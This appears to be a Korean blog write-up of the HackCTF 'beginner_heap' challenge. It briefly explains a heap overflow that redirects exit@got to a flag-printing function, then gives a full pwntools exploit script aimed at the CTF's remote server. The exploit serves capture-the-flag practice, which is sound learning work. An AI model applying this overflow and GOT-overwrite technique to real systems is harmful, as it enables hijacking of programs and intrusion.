Profile

youngsouk

youngsouk

[hackctf]beginner_heap

 

이 함수를 실행시키면 익스가 된다. 그렇기 위서 exit@got 주소를 저 함수로 바꿔야 한다. 따라서 첫번째 strcpy로 2번째 strcpy 인자의 주소를 exit@got주소로 바꾸고 2번째 strcpy로 저 함수의 주소를 입력해주면 된다.

from pwn import *

#p = process('./beginner_heap.bin')
p = remote('ctf.j0n9hyun.xyz', 3016)
e = ELF('./beginner_heap.bin')
pause()
context.log_level="debug"

flag_f = 0x400826

payload = 'a' * 8 * 2
#next_heap_prev_size
payload += 'a' * 8 * 3

payload += p64(e.got['exit'])

p.sendline(payload)

p.sendline(p64(flag_f))

p.interactive()

 

'CTF write-up > hackctf' 카테고리의 다른 글

[hackctf]Gift  (0) 2019.07.18
[hackctf]look_at_me  (0) 2019.07.18
[hackctf]random  (0) 2019.07.18
[hackctf]Unexploitable_2  (0) 2019.07.18
[hackctf]Unexploitable  (0) 2019.07.16